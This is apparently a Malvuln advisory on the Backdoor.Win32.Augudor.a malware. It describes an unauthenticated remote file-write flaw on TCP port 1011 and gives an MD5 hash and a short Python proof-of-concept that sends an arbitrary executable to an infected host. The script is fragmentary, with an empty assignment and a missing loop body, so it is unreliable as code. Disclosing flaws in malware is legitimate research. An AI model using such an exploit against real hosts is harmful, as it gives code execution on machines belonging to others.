Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Augudor.a  
Vulnerability: Unauthenticated Remote File Write Code Execution  
Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed.  
Type: PE32  
MD5: 1b557d4f923b0de75e397686053a9022  
Vuln ID: MVID-2021-0083  
Dropped files: zy.exe  
Disclosure: 02/10/2021  
from socket import *  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
f = open(DOOM, "rb")  
EXE =  
while EXE:  
print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution")  
print("MD5: 1b557d4f923b0de75e397686053a9022")  
print("By Malvuln");  
if __name__=="__main__":  
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